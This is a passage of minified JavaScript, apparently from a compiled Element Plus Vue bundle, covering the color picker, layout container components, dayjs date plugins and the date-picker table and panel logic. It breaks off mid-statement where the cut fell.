mt(()=>{r.modelValue&&(H.value=U.value)}),Ce(()=>r.modelValue,Ie=>{Ie?Ie&&Ie!==K.value&&(R=!1,K.fromString(Ie)):j.value=!1}),Ce(()=>U.value,Ie=>{H.value=Ie,R&&n("activeChange",Ie),R=!0}),Ce(()=>K.value,()=>{!r.modelValue&&!j.value&&(j.value=!0)}),Ce(()=>W.value,()=>{$e(()=>{var Ie,ge,Me;(Ie=f.value)==null||Ie.update(),(ge=p.value)==null||ge.update(),(Me=m.value)==null||Me.update()})}),Ot(Uk,{currentColor:U}),t({color:K,show:C,hide:S,focus:ce,blur:we}),(Ie,ge)=>(B(),ye(d(Vr),{ref_key:"popper",ref:g,visible:W.value,"show-arrow":!1,"fallback-placements":["bottom","top","right","left"],offset:0,"gpu-acceleration":!1,"popper-class":[d(i).be("picker","panel"),d(i).b("dropdown"),Ie.popperClass],"stop-popper-mouse-event":!1,effect:"light",trigger:"click",transition:`${d(i).namespace.value}-zoom-in-top`,persistent:"",onHide:ge[2]||(ge[2]=Me=>w(!1))},{content:fe(()=>[ft((B(),_("div",{onKeydown:un(re,["esc"])},[ne("div",{class:F(d(i).be("dropdown","main-wrapper"))},[ae(Ste,{ref_key:"hue",ref:f,class:"hue-slider",color:d(K),vertical:""},null,8,["color"]),ae(Nte,{ref_key:"sv",ref:p,color:d(K)},null,8,["color"])],2),Ie.showAlpha?(B(),ye(Ite,{key:0,ref_key:"alpha",ref:m,color:d(K)},null,8,["color"])):pe("v-if",!0),Ie.predefine?(B(),ye(Kte,{key:1,ref:"predefine",color:d(K),colors:Ie.predefine},null,8,["color","colors"])):pe("v-if",!0),ne("div",{class:F(d(i).be("dropdown","btns"))},[ne("span",{class:F(d(i).be("dropdown","value"))},[ae(d(Gr),{ref_key:"inputRef",ref:I,modelValue:H.value,"onUpdate:modelValue":ge[0]||(ge[0]=Me=>H.value=Me),"validate-event":!1,size:"small",onKeyup:un(y,["enter"]),onBlur:y},null,8,["modelValue","onKeyup"])],2),ae(d(dr),{class:F(d(i).be("dropdown","link-btn")),text:"",size:"small",onClick:te},{default:fe(()=>[Kt(We(d(o)("el.colorpicker.clear")),1)]),_:1},8,["class"]),ae(d(dr),{plain:"",size:"small",class:F(d(i).be("dropdown","btn")),onClick:T},{default:fe(()=>[Kt(We(d(o)("el.colorpicker.confirm")),1)]),_:1},8,["class"])],2)],40,jte)),[[d(Is),le]])]),default:fe(()=>[ne("div",{id:d(u),ref_key:"triggerRef",ref:v,class:F(d(h)),role:"button","aria-label":d(X),"aria-labelledby":d(L),"aria-description":d(o)("el.colorpicker.description",{color:Ie.modelValue||""}),"aria-disabled":d(l),tabindex:d(l)?-1:Ie.tabindex,onKeydown:de,onFocus:x,onBlur:ge[1]||(ge[1]=(...Me)=>d(E)&&d(E)(...Me))},[d(l)?(B(),_("div",{key:0,class:F(d(i).be("picker","mask"))},null,2)):pe("v-if",!0),ne("div",{class:F(d(i).be("picker","trigger")),onClick:k},[ne("span",{class:F([d(i).be("picker","color"),d(i).is("alpha",Ie.showAlpha)])},[ne("span",{class:F(d(i).be("picker","color-inner")),style:De({backgroundColor:d(P)})},[ft(ae(d(Pe),{class:F([d(i).be("picker","icon"),d(i).is("icon-arrow-down")])},{default:fe(()=>[ae(d(Ms))]),_:1},8,["class"]),[[_t,Ie.modelValue||j.value]]),ft(ae(d(Pe),{class:F([d(i).be("picker","empty"),d(i).is("icon-close")])},{default:fe(()=>[ae(d(fi))]),_:1},8,["class"]),[[_t,!Ie.modelValue&&!j.value]])],6)],2)],2)],42,Wte)]),_:1},8,["visible","popper-class","transition"]))}});var Bte=Ye(Yte,[["__file","color-picker.vue"]]);const Jte=It(Bte),Vte=ie({name:"ElContainer"}),Ute=ie({...Vte,props:{direction:{type:String}},setup(e){const t=e,n=pr(),r=Oe("container"),o=N(()=>t.direction==="vertical"?!0:t.direction==="horizontal"?!1:n&&n.default?n.default().some(s=>{const a=s.type.name;return a==="ElHeader"||a==="ElFooter"}):!1);return(i,s)=>(B(),_("section",{class:F([d(r).b(),d(r).is("vertical",d(o))])},[qe(i.$slots,"default")],2))}});var Fte=Ye(Ute,[["__file","container.vue"]]);const Hte=ie({name:"ElAside"}),Pte=ie({...Hte,props:{width:{type:String,default:null}},setup(e){const t=e,n=Oe("aside"),r=N(()=>t.width?n.cssVarBlock({width:t.width}):{});return(o,i)=>(B(),_("aside",{class:F(d(n).b()),style:De(d(r))},[qe(o.$slots,"default")],6))}});var Fk=Ye(Pte,[["__file","aside.vue"]]);const Dte=ie({name:"ElFooter"}),Xte=ie({...Dte,props:{height:{type:String,default:null}},setup(e){const t=e,n=Oe("footer"),r=N(()=>t.height?n.cssVarBlock({height:t.height}):{});return(o,i)=>(B(),_("footer",{class:F(d(n).b()),style:De(d(r))},[qe(o.$slots,"default")],6))}});var Hk=Ye(Xte,[["__file","footer.vue"]]);const Qte=ie({name:"ElHeader"}),_te=ie({...Qte,props:{height:{type:String,default:null}},setup(e){const t=e,n=Oe("header"),r=N(()=>t.height?n.cssVarBlock({height:t.height}):{});return(o,i)=>(B(),_("header",{class:F(d(n).b()),style:De(d(r))},[qe(o.$slots,"default")],6))}});var Pk=Ye(_te,[["__file","header.vue"]]);const $te=ie({name:"ElMain"}),ene=ie({...$te,setup(e){const t=Oe("main");return(n,r)=>(B(),_("main",{class:F(d(t).b())},[qe(n.$slots,"default")],2))}});var Dk=Ye(ene,[["__file","main.vue"]]);const tne=It(Fte,{Aside:Fk,Footer:Hk,Header:Pk,Main:Dk}),nne=kn(Fk),rne=kn(Hk),one=kn(Pk),ine=kn(Dk);var Xk={exports:{}};(function(e,t){(function(n,r){e.exports=r()})(er,function(){return function(n,r){var o=r.prototype,i=o.format;o.format=function(s){var a=this,l=this.$locale();if(!this.isValid())return i.bind(this)(s);var u=this.$utils(),c=(s||"YYYY-MM-DDTHH:mm:ssZ").replace(/\[([^\]]+)]|Q|wo|ww|w|WW|W|zzz|z|gggg|GGGG|Do|X|x|k{1,2}|S/g,function(f){switch(f){case"Q":return Math.ceil((a.$M+1)/3);case"Do":return l.ordinal(a.$D);case"gggg":return a.weekYear();case"GGGG":return a.isoWeekYear();case"wo":return l.ordinal(a.week(),"W");case"w":case"ww":return u.s(a.week(),f==="w"?1:2,"0");case"W":case"WW":return u.s(a.isoWeek(),f==="W"?1:2,"0");case"k":case"kk":return u.s(String(a.$H===0?24:a.$H),f==="k"?1:2,"0");case"X":return Math.floor(a.$d.getTime()/1e3);case"x":return a.$d.getTime();case"z":return"["+a.offsetName()+"]";case"zzz":return"["+a.offsetName("long")+"]";default:return f}});return i.bind(this)(c)}}})})(Xk);var sne=Xk.exports;const ane=_n(sne);var Qk={exports:{}};(function(e,t){(function(n,r){e.exports=r()})(er,function(){var n="week",r="year";return function(o,i,s){var a=i.prototype;a.week=function(l){if(l===void 0&&(l=null),l!==null)return this.add(7*(l-this.week()),"day");var u=this.$locale().yearStart||1;if(this.month()===11&&this.date()>25){var c=s(this).startOf(r).add(1,r).date(u),f=s(this).endOf(n);if(c.isBefore(f))return 1}var p=s(this).startOf(r).date(u).startOf(n).subtract(1,"millisecond"),m=this.diff(p,n,!0);return m<0?s(this).startOf("week").week():Math.ceil(m)},a.weeks=function(l){return l===void 0&&(l=null),this.week(l)}}})})(Qk);var lne=Qk.exports;const une=_n(lne);var _k={exports:{}};(function(e,t){(function(n,r){e.exports=r()})(er,function(){return function(n,r){r.prototype.weekYear=function(){var o=this.month(),i=this.week(),s=this.year();return i===1&&o===11?s+1:o===0&&i>=52?s-1:s}}})})(_k);var cne=_k.exports;const dne=_n(cne);var $k={exports:{}};(function(e,t){(function(n,r){e.exports=r()})(er,function(){return function(n,r,o){r.prototype.dayOfYear=function(i){var s=Math.round((o(this).startOf("day")-o(this).startOf("year"))/864e5)+1;return i==null?s:this.add(i-s,"day")}}})})($k);var fne=$k.exports;const hne=_n(fne);var ex={exports:{}};(function(e,t){(function(n,r){e.exports=r()})(er,function(){return function(n,r){r.prototype.isSameOrAfter=function(o,i){return this.isSame(o,i)||this.isAfter(o,i)}}})})(ex);var pne=ex.exports;const mne=_n(pne);var tx={exports:{}};(function(e,t){(function(n,r){e.exports=r()})(er,function(){return function(n,r){r.prototype.isSameOrBefore=function(o,i){return this.isSame(o,i)||this.isBefore(o,i)}}})})(tx);var vne=tx.exports;const gne=_n(vne),mI=Symbol(),yne=Ge({...hI,type:{type:he(String),default:"date"}}),bne=["date","dates","year","years","month","week","range"],vI=Ge({disabledDate:{type:he(Function)},date:{type:he(Object),required:!0},minDate:{type:he(Object)},maxDate:{type:he(Object)},parsedValue:{type:he([Object,Array])},rangeState:{type:he(Object),default:()=>({endDate:null,selecting:!1})}}),nx=Ge({type:{type:he(String),required:!0,values:lH},dateFormat:String,timeFormat:String}),rx=Ge({unlinkPanels:Boolean,parsedValue:{type:he(Array)}}),gI=e=>({type:String,values:bne,default:e}),Ine=Ge({...nx,parsedValue:{type:he([Object,Array])},visible:{type:Boolean},format:{type:String,default:""}}),qne=Ge({...vI,cellClassName:{type:he(Function)},showWeekNumber:Boolean,selectionMode:gI("date")}),wne=["changerange","pick","select"],cy=e=>{if(!Ve(e))return!1;const[t,n]=e;return yt.isDayjs(t)&&yt.isDayjs(n)&&t.isSameOrBefore(n)},ox=(e,{lang:t,unit:n,unlinkPanels:r})=>{let o;if(Ve(e)){let[i,s]=e.map(a=>yt(a).locale(t));return r||(s=i.add(1,n)),[i,s]}else e?o=yt(e):o=yt();return o=o.locale(t),[o,o.add(1,n)]},Sne=(e,t,{columnIndexOffset:n,startDate:r,nextEndDate:o,now:i,unit:s,relativeDateGetter:a,setCellMetadata:l,setRowMetadata:u})=>{for(let c=0;c<e.row;c++){const f=t[c];for(let p=0;p<e.column;p++){let m=f[p+n];m||(m={row:c,column:p,type:"normal",inRange:!1,start:!1,end:!1});const g=c*e.column+p,v=a(g);m.dayjs=v,m.date=v.toDate(),m.timestamp=v.valueOf(),m.type="normal",m.inRange=!!(r&&v.isSameOrAfter(r,s)&&o&&v.isSameOrBefore(o,s))||!!(r&&v.isSameOrBefore(r,s)&&o&&v.isSameOrAfter(o,s)),r!=null&&r.isSameOrAfter(o)?(m.start=!!o&&v.isSame(o,s),m.end=r&&v.isSame(r,s)):(m.start=!!r&&v.isSame(r,s),m.end=!!o&&v.isSame(o,s)),v.isSame(i,s)&&(m.type="today"),l==null||l(m,{rowIndex:c,columnIndex:p}),f[p+n]=m}u==null||u(f)}},dy=(e="")=>["normal","today"].includes(e),Ene=(e,t)=>{const{lang:n}=Vt(),r=D(),o=D(),i=D(),s=D(),a=D([[],[],[],[],[],[]]);let l=!1;const u=e.date.$locale().weekStart||7,c=e.date.locale("en").localeData().weekdaysShort().map(S=>S.toLowerCase()),f=N(()=>u>3?7-u:-u),p=N(()=>{const S=e.date.startOf("month");return S.subtract(S.day()||7,"day")}),m=N(()=>c.concat(c).slice(u,u+7)),g=N(()=>g3(d(x)).some(S=>S.isCurrent)),v=N(()=>{const S=e.date.startOf("month"),z=S.day()||7,k=S.daysInMonth(),y=S.subtract(1,"month").daysInMonth();return{startOfMonthDay:z,dateCountOfMonth:k,dateCountOfLastMonth:y}}),I=N(()=>e.selectionMode==="dates"?qo(e.parsedValue):[]),q=(S,{count:z,rowIndex:k,columnIndex:y})=>{const{startOfMonthDay:T,dateCountOfMonth:te,dateCountOfLastMonth:le}=d(v),re=d(f);if(k>=0&&k<=1){const de=T+re<0?7+T+re:T+re;if(y+k*7>=de)return S.text=z,!0;S.text=le-(de-y%7)+1+k*7,S.type="prev-month"}else return z<=te?S.text=z:(S.text=z-te,S.type="next-month"),!0;return!1},M=(S,{columnIndex:z,rowIndex:k},y)=>{const{disabledDate:T,cellClassName:te}=e,le=d(I),re=q(S,{count:y,rowIndex:k,columnIndex:z}),de=S.dayjs.toDate();return S.selected=le.find(ce=>ce.isSame(S.dayjs,"day")),S.isSelected=!!S.selected,S.isCurrent=K(S),S.disabled=T==null?void 0:T(de),S.customClass=te==null?void 0:te(de),re},E=S=>{if(e.selectionMode==="week"){const[z,k]=e.showWeekNumber?[1,7]:[0,6],y=C(S[z+1]);S[z].inRange=y,S[z].start=y,S[k].inRange=y,S[k].end=y}},x=N(()=>{const{minDate:S,maxDate:z,rangeState:k,showWeekNumber:y}=e,T=d(f),te=d(a),le="day";let re=1;if(y)for(let de=0;de<6;de++)te[de][0]||(te[de][0]={type:"week",text:d(p).add(de*7+1,le).week()});return Sne({row:6,column:7},te,{startDate:S,columnIndexOffset:y?1:0,nextEndDate:k.endDate||z||k.selecting&&S||null,now:yt().locale(d(n)).startOf(le),unit:le,relativeDateGetter:de=>d(p).add(de-T,le),setCellMetadata:(...de)=>{M(...de,re)&&(re+=1)},setRowMetadata:E}),te});Ce(()=>e.date,async()=>{var S;(S=d(r))!=null&&S.contains(document.activeElement)&&(await $e(),await R())});const R=async()=>{var S;return(S=d(o))==null?void 0:S.focus()},K=S=>e.selectionMode==="date"&&dy(S.type)&&W(S,e.parsedValue),W=(S,z)=>z?yt(z).locale(d(n)).isSame(e.date.date(Number(S.text)),"day"):!1,j=(S,z)=>{const k=S*7+(z-(e.showWeekNumber?1:0))-d(f);return d(p).add(k,"day")},H=S=>{var z;if(!e.rangeState.selecting)return;let k=S.target;if(k.tagName==="SPAN"&&(k=(z=k.parentNode)==null?void 0:z.parentNode),k.tagName==="DIV"&&(k=k.parentNode),k.tagName!=="TD")return;const y=k.parentNode.rowIndex-1,T=k.cellIndex;d(x)[y][T].disabled||(y!==d(i)||T!==d(s))&&(i.value=y,s.value=T,t("changerange",{selecting:!0,endDate:j(y,T)}))},P=S=>!d(g)&&(S==null?void 0:S.text)===1&&S.type==="normal"||S.isCurrent,U=S=>{l||d(g)||e.selectionMode!=="date"||A(S,!0)},X=S=>{S.target.closest("td")&&(l=!0)},L=S=>{S.target.closest("td")&&(l=!1)},h=S=>{!e.rangeState.selecting||!e.minDate?(t("pick",{minDate:S,maxDate:null}),t("select",!0)):(S>=e.minDate?t("pick",{minDate:e.minDate,maxDate:S}):t("pick",{minDate:S,maxDate:e.minDate}),t("select",!1))},b=S=>{const z=S.week(),k=`${S.year()}w${z}`;t("pick",{year:S.year(),week:z,value:k,date:S.startOf("week")})},w=(S,z)=>{const k=z?qo(e.parsedValue).filter(y=>(y==null?void 0:y.valueOf())!==S.valueOf()):qo(e.parsedValue).concat([S]);t("pick",k)},A=(S,z=!1)=>{const k=S.target.closest("td");if(!k)return;const y=k.parentNode.rowIndex-1,T=k.cellIndex,te=d(x)[y][T];if(te.disabled||te.type==="week")return;const le=j(y,T);switch(e.selectionMode){case"range":{h(le);break}case"date":{t("pick",le,z);break}case"week":{b(le);break}case"dates":{w(le,!!te.selected);break}}},C=S=>{if(e.selectionMode!=="week")return!1;let z=e.date.startOf("day");if(S.type==="prev-month"&&(z=z.subtract(1,"month")),S.type==="next-month"&&(z=z.add(1,"month")),z=z.date(Number.parseInt(S.text,10)),e.parsedValue&&!Array.isArray(e.parsedValue)){const k=(e.parsedValue.day()-u+7)%7-1;return e.parsedValue.subtract(k,"day").isSame(z,"day")}return!1};return{WEEKS:m,rows:x,tbodyRef:r,currentCellRef:o,focus:R,isCurrent:K,isWeekActive:C,isSelectedCell:P,handlePickDate:A,handleMouseUp:L,handleMouseDown:X,handleMouseMove:H,handleFocus:U}},Ane=(e,{isCurrent:t,isWeekActive:n})=>{const r=Oe("date-table"),{t:o}=Vt(),i=N(()=>[r.b(),{"is-week-mode":e.selectionMode==="week"}]),s=N(()=>o("el.datepicker.dateTablePrompt")),a=N(()=>o("el.datepicker.week"));return{tableKls:i,tableLabel:s,weekLabel:a,getCellClasses:c=>{const f=[];return dy(c.type)&&!c.disabled?(f.push("available"),c.type==="today"&&f.push("today")):f.push(c.type),t(c)&&f.push("current"),c.inRange&&(dy(c.type)||e.selectionMode==="week")&&(f.push("in-range"),c.start&&f.push("start-date"),c.end&&f.push("end-date")),c.disabled&&f.push("disabled"),c.selected&&f.push("selected"),c.customClass&&f.push(c.customClass),f.join(" ")},getRowKls:c=>[r.e("row"),{current:n(c)}],t:o}},Mne=Ge({cell:{type:he(Object)}});var Cne=ie({name:"ElDatePickerCell",props:Mne,setup(e){const t=Oe("date-table-cell"),{slots:n}=Fe(mI);return()=>{const{cell:r}=e;return qe(n,"default",{...r},()=>[ae("div",{class:t.b()},[ae("span",{class:t.e("text")},[r==null?void 0:r.text])])])}}});const kne=["aria-label"],xne={key:0,scope:"col"},One=["aria-label"],zne=["aria-current","aria-selected","tabindex"],Kne=ie({__name:"basic-date-table",props:qne,emits:wne,setup(e,{expose:t,emit:n}){const r=e,{WEEKS:o,rows:i,tbodyRef:s,currentCellRef:a,focus:l,isCurrent:u,isWeekActive:c,isSelectedCell:f,handlePickDate:p,handleMouseUp:m,handleMouseDown:g,handleMouseMove:v,handleFocus:I}=Ene(r,n),{tableLabel:q,tableKls:M,weekLabel:E,getCellClasses:x,getRowKls:R,t:K}=Ane(r,{isCurrent:u,isWeekActive:c});return t({focus:l}),(W,j)=>(B(),_("table",{"aria-label":d(q),class:F(d(M)),cellspacing:"0",cellpadding:"0",role:"grid",onClick:j[1]||(j[1]=(...H)=>d(p)&&d(p)(...H)),onMousemove:j[2]||(j[2]=(...H)=>d(v)&&d(v)(...H)),onMousedown:j[3]||(j[3]=rt((...H)=>d(g)&&d(g)(...H),["prevent"])),onMouseup:j[4]||(j[4]=(...H)=>d(m)&&d(m)(...H))},[ne("tbody",{ref_key:"tbodyRef",ref:s},[ne("tr",null,[W.showWeekNumber?(B(),_("th",xne,We(d(E)),1)):pe("v-if",!0),(B(!0),_(Qe,null,Lt(d(o),(H,P)=>(B(),_("th",{key:P,"aria-label":d(K)("el.datepicker.weeksFull."+H),scope:"col"},We(d(K)("el.datepicker.weeks."+H)),9,One))),128))]),(B(!0),_(Qe,null,Lt(d(i),(H,P)=>(B(),_("tr",{key:P,class:F(d(R)(H[1]))},[(B(!0),_(Qe,null,Lt(H,(U,X)=>(B(),_("td",{key:`${P}.${X}`,ref_for:!0,ref:L=>d(f)(U)&&(a.value=L),class:F(d(x)(U)),"aria-current":U.isCurrent?"date":void 0,"aria-selected":U.isCurrent,tabindex:d(f)(U)?0:-1,onFocus:j[0]||(j[0]=(...L)=>d(I)&&d(I)(...L))},[ae(d(Cne),{cell:U},null,8,["cell"])],42,zne))),128))],2))),128))],512)],42,kne))}});var fy=Ye(Kne,[["__file","basic-date-table.vue"]]);const Rne=Ge({...vI,selectionMode:gI("month")}),Lne=["aria-label"],Zne=["aria-selected","aria-label","tabindex","onKeydown"],Tne={class:"cell"},Nne=ie({__name:"basic-month-table",props:Rne,emits:["changerange","pick","select"],setup(e,{expose:t,emit:n}){const r=e,o=(x,R,K)=>{const W=yt().locale(K).startOf("month").month(R).year(x),j=W.daysInMonth();return la(j).map(H=>W.add(H,"day").toDate())},i=Oe("month-table"),{t:s,lang:a}=Vt(),l=D(),u=D(),c=D(r.date.locale("en").localeData().monthsShort().map(x=>x.toLowerCase())),f=D([[],[],[]]),p=D(),m=D(),g=N(()=>{var x,R;const K=f.value,W=yt().locale(a.value).startOf("month");for(let j=0;j<3;j++){const H=K[j];for(let P=0;P<4;P++){const U=H[P]||(H[P]={row:j,column:P,type:"normal",inRange:!1,start:!1,end:!1,text:-1,disabled:!1});U.type="normal";const X=j*4+P,L=r.date.startOf("year").month(X),h=r.rangeState.endDate||r.maxDate||r.rangeState.selecting&&r.minDate||null;U.inRange=!!(r.minDate&&L.isSameOrAfter(r.minDate,"month")&&h&&L.isSameOrBefore(h,"month"))||!!(r.minDate&&L.isSameOrBefore(r.minDate,"month")&&h&&L.isSameOrAfter(h,"month")),(x=r.minDate)!=null&&x.isSameOrAfter(h)?(U.start=!!(h&&L.isSame(h,"month")),U.end=r.minDate&&L.isSame(r.minDate,"month")):(U.start=!!(r.minDate&&L.isSame(r.minDate,"month")),U.end=!!(h&&L.isSame(h,"month"))),W.isSame(L)&&(U.type="today"),U.text=X,U.disabled=((R=r.disabledDate)==null?void 0:R.call(r,L.toDate()))||!1}}return K}),v=()=>{var x;(x=u.value)==null||x.focus()},I=x=>{const R={},K=r.date.year(),W=new Date,j=x.text;return R.disabled=r.disabledDate?o(K,j,a.value).every(r.disabledDate):!1,R.current=qo(r.parsedValue).findIndex(H=>yt.isDayjs(H)&&H.year()===K&&H.month()===j)>=0,R.today=W.getFullYear()===K&&W.getMonth()===j,x.inRange&&(R["in-range"]=!0,x.start&&(R["start-date"]=!0),x.end&&(R["end-date"]=!0)),R},q=x=>{const R=r.date.year(),K=x.text;return qo(r.date).findIndex(W=>W.year()===R&&W.month()===K)>=0},M=x=>{var R;if(!r.rangeState.selecting)return;let K=x.target;if(K.tagName==="SPAN"&&(K=(R=K.parentNode)==null?void 0:R.parentNode),K.tagName==="DIV"&&(K=K.parentNode),K.tagName!=="TD")return;const W=K.parentNode.rowIndex,j=K.cellIndex;g.value[W][j].disabled||(W!==p.value||j!==m.value)&&(p.value=W,m.value=j,n("changerange",{selecting:!0,endDate:r.date.startOf("year").month(W*4+j)}))},E=x=>{var R;const K=(R=x.target)==null?void 0:R.closest("td");if((K==null?void 0:K.tagName)!=="TD"||Yo(K,"disabled"))return;const W=K.cellIndex,H=K.parentNode.rowIndex*4+W,P=r.date.startOf("year").month(H);r.selectionMode==="range"?r.rangeState.selecting?(r.minDate&&P>=r.minDate?n("pick",{minDate:r.minDate,maxDate:P}):n("pick",{minDate:P,maxDate:r.minDate}),n("select",!1)):(n("pick",{minDate:P,maxDate:null}),n("select",!0)):n("pick",H)};return Ce(()=>r.date,async()=>{var x,R;(x=l.value)!=null&&x.contains(document.activeElement)&&(await $e(),(R=u.value)==null||R.focus())}),t({focus:v}),(x,R)=>(B(),_("table",{role:"grid","aria-label":d(s)("el.datepicker.monthTablePrompt"),class:F(d(i).b()),onClick:E,onMousemove:M},[ne("tbody",{ref_key:"tbodyRef",ref:l},[(B(!0),_(Qe,null,Lt(d(g),(K,W)=>(B(),_("tr",{key:W},[(B(!0),_(Qe,null,Lt(K,(j,H)=>(B(),_("td",{key:H,ref_for:!0,ref:P=>q(j)&&(u.value=P),class:F(I(j)),"aria-selected":`${q(j)}`,"aria-label":d(s)(`el.datepicker.month${+j.text+1}`),tabindex:q(j)?0:-1,onKeydown:[un(rt(E,["prevent","stop"]),["space"]),un(rt(E,["prevent","stop"]),["enter"])]},[ne("div",null,[ne("span",Tne,We(d(s)("el.datepicker.months."+c.value[j.text])),1)])],42,Zne))),128))]))),128))],512)],42,Lne))}});var hy=Ye(Nne,[["__file","basic-month-table.vue"]]);const{date:jne,disabledDate:Wne,parsedValue:Gne}=vI,Yne=Ge({date:jne,disabledDate:Wne,parsedValue:Gne,selectionMode:gI("year")}),Bne=["aria-label"],Jne=["aria-selected","tabindex","onKeydown"],Vne={class:"cell"},Une={key:1},Fne=ie({__name:"basic-year-table",props:Yne,emits:["pick"],setup(e,{expose:t,emit:n}){const r=e,o=(v,I)=>{const q=yt(String(v)).locale(I).startOf("year"),E=q.endOf("year").dayOfYear();return la(E).map(x=>q.add(x,"day").toDate())},i=Oe("year-table"),{t:s,lang:a}=Vt(),l=D(),u=D(),c=N(()=>Math.floor(r.date.year()/10)*10),f=()=>{var v;(v=u.value)==null||v.focus()},p=v=>{const I={},q=yt().locale(a.value);return I.disabled=r.disabledDate?o(v,a.value).every(r.disabledDate):!1,I.current=qo(r.parsedValue).findIndex(M=>M.year()===v)>=0,I.today=q.year()===v,I},m=v=>v===c.value&&r.date.year()<c.value&&r.date.year()>c.value+9||qo(r.date).findIndex(I=>I.year()===v)>=0||qo(r.parsedValue).findIndex(I=>(I==null?void 0:I.year())===v)>=0,g=v=>{const q=v.target.closest("td");if(q&&q.textContent){if(Yo(q,"disabled"))return;const M=q.textContent||q.innerText;if(r.selectionMode==="years"){if(v.type==="keydown"){n("pick",qo(r.parsedValue),!1);return}const E=Yo(q,"current")?qo(r.parsedValue).filter(x=>(x==null?void 0:x.year())!==Number(M)):qo(r.parsedValue).concat([yt(M)]);n("pick",E)}else n("pick",Number(M))}};return Ce(()=>r.date,async()=>{var v,I;(v=l.value)!=null&&v.contains(document.activeElement)&&(await $e(),(I=u.value)==null||I.focus())}),t({focus:f}),(v,I)=>(B(),_("table",{role:"grid","aria-label":d(s)("el.datepicker.yearTablePrompt"),class:F(d(i).b()),onClick:g},[ne("tbody",{ref_key:"tbodyRef",ref:l},[(B(),_(Qe,null,Lt(3,(q,M)=>ne("tr",{key:M},[(B(),_(Qe,null,Lt(4,(E,x)=>(B(),_(Qe,{key:M+"_"+x},[M*4+x<10?(B(),_("td",{key:0,ref_for:!0,ref:R=>m(d(c)+M*4+x)&&(u.value=R),class:F(["available",p(d(c)+M*4+x)]),"aria-selected":`${m(d(c)+M*4+x)}`,tabindex:m(d(c)+M*4+x)?0:-1,onKeydown:[un(rt(g,["prevent","stop"]),["space"]),un(rt(g,["prevent","stop"]),["enter"])]},[ne("div",null,[ne("span",Vne,We(d(c)+M*4+x),1)])],42,Jne)):(B(),_("td",Une))],64))),64))])),64))],512)],10,Bne))}});var Hne=Ye(Fne,[["__file","basic-year-table.vue"]]);const Pne=["onClick"],Dne=["aria-label"],Xne=["aria-label"],Qne=["aria-label"],_ne=["aria-label"],$ne=ie({__name:"panel-date-pick",props:Ine,emits:["pick","set-picker-option","panel-change"],setup(e,{emit:t}){const n=e,r=(O,Z,Y)=>!0,o=Oe("picker-panel"),i=Oe("date-picker"),s=Nl(),a=pr(),{t:l,lang:u}=Vt(),c=Fe("EP_PICKER_BASE"),f=Fe(Jm),{shortcuts:p,disabledDate:m,cellClassName:g,defaultTime:v}=c.props,I=hn(c.props,"defaultValue"),q=D(),M=D(yt().locale(u.value)),E=D(!1);let x=!1;const R=N(()=>yt(v).locale(u.value)),K=N(()=>M.value.month()),W=N(()=>M.value.year()),j=D([]),H=D(null),P=D(null),U=O=>j.value.length>0?r(O,j.value,n.format||"HH:mm:ss"):!0,X=O=>v&&!ue.value&&!E.value&&!x?R.value.year(O.year()).month(O.month()).date(O.date()):re.value?O.millisecond(0):O.startOf("day"),L=(O,...Z)=>{if(!O)t("pick",O,...Z);else if(Ve(O)){const Y=O.map(X);t("pick",Y,...Z)}else t("pick",X(O),...Z);H.value=null,P.value=null,E.value=!1,x=!1},h=async(O,Z)=>{if(z.value==="date"){O=O;let Y=n.parsedValue?n.parsedValue.year(O.year()).month(O.month()).date(O.date()):O;U(Y)||(Y=j.value[0][0].year(O.year()).month(O.month()).date(O.date())),M.value=Y,L(Y,re.value||Z),n.type==="datetime"&&(await $e(),Q())}else z.value==="week"?L(O.date):z.value==="dates"&&L(O,!0)},b=O=>{const Z=O?"add":"subtract";M.value=M.value[Z](1,"month"),G("month")},w=O=>{const Z=M.value,Y=O?"add":"subtract";M.value=A.value==="year"?Z[Y](10,"year"):Z[Y](1,"year"),G("year")},A=D("date"),C=N(()=>{const O=l("el.datepicker.year");if(A.value==="year"){const Z=Math.floor(W.value/10)*10;return O?`${Z} ${O} - ${Z+9} ${O}`:`${Z} - ${Z+9}`}return`${W.value} ${O}`}),S=O=>{const Z=ot(O.value)?O.value():O.value;if(Z){x=!0,L(yt(Z).locale(u.value));return}O.onClick&&O.onClick({attrs:s,slots:a,emit:t})},z=N(()=>{const{type:O}=n;return["week","month","year","years","dates"].includes(O)?O:"date"}),k=N(()=>z.value==="date"?A.value:z.value),y=N(()=>!!p.length),T=async O=>{M.value=M.value.startOf("month").month(O),z.value==="month"?L(M.value,!1):(A.value="date",["month","year","date","week"].includes(z.value)&&(L(M.value,!0),await $e(),Q())),G("month")},te=async(O,Z)=>{z.value==="year"?(M.value=M.value.startOf("year").year(O),L(M.value,!1)):z.value==="years"?L(O,Z??!0):(M.value=M.value.year(O),A.value="month",["month","year","date","week"].includes(z.value)&&(L(M.value,!0),await $e(),Q())),G("year")},le=async O=>{A.value=O,await $e(),Q()},re=N(()=>n.type==="datetime"||n.type==="datetimerange"),de=N(()=>{const O=re.value||z.value==="dates",Z=z.value==="years",Y=A.value==="date",$=A.value==="year";return O&&Y||Z&&$}),ce=N(()=>m?n.parsedValue?Ve(n.parsedValue)?m(n.parsedValue[0].toDate()):m(n.parsedValue.toDate()):!0:!1),we=()=>{if(z.value==="dates"||z.value==="years")L(n.parsedValue);else{let O=n.parsedValue;if(!O){const Z=yt(v).locale(u.value),Y=Ze();O=Z.year(Y.year()).month(Y.month()).date(Y.date())}M.value=O,L(O)}},Ie=N(()=>m?m(yt().locale(u.value).toDate()):!1),ge=()=>{const Z=yt().locale(u.value).toDate();E.value=!0,(!m||!m(Z))&&U(Z)&&(M.value=yt().locale(u.value),L(M.value))},Me=N(()=>n.timeFormat||lk(n.format)),se=N(()=>n.dateFormat||ak(n.format)),ue=N(()=>{if(P.value)return P.value;if(!(!n.parsedValue&&!I.value))return(n.parsedValue||M.value).format(Me.value)}),ve=N(()=>{if(H.value)return H.value;if(!(!n.parsedValue&&!I.value))return(n.parsedValue||M.value).format(se.value)}),ke=D(!1),me=()=>{ke.value=!0},Ee=()=>{ke.value=!1},Le=O=>({hour:O.hour(),minute:O.minute(),second:O.second(),year:O.year(),month:O.month(),date:O.date()}),Ae=(O,Z,Y)=>{const{hour:$,minute:oe,second:ee}=Le(O),ze=n.parsedValue?n.parsedValue.hour($).minute(oe).second(ee):O;M.value=ze,L(M.value,!0),Y||(ke.value=Z)},be=O=>{const Z=yt(O,Me.value).locale(u.value);if(Z.isValid()&&U(Z)){const{year:Y,month:$,date:oe}=Le(M.value);M.value=Z.year(Y).month($).date(oe),P.value=null,ke.value=!1,L(M.value,!0)}},xe=O=>{const 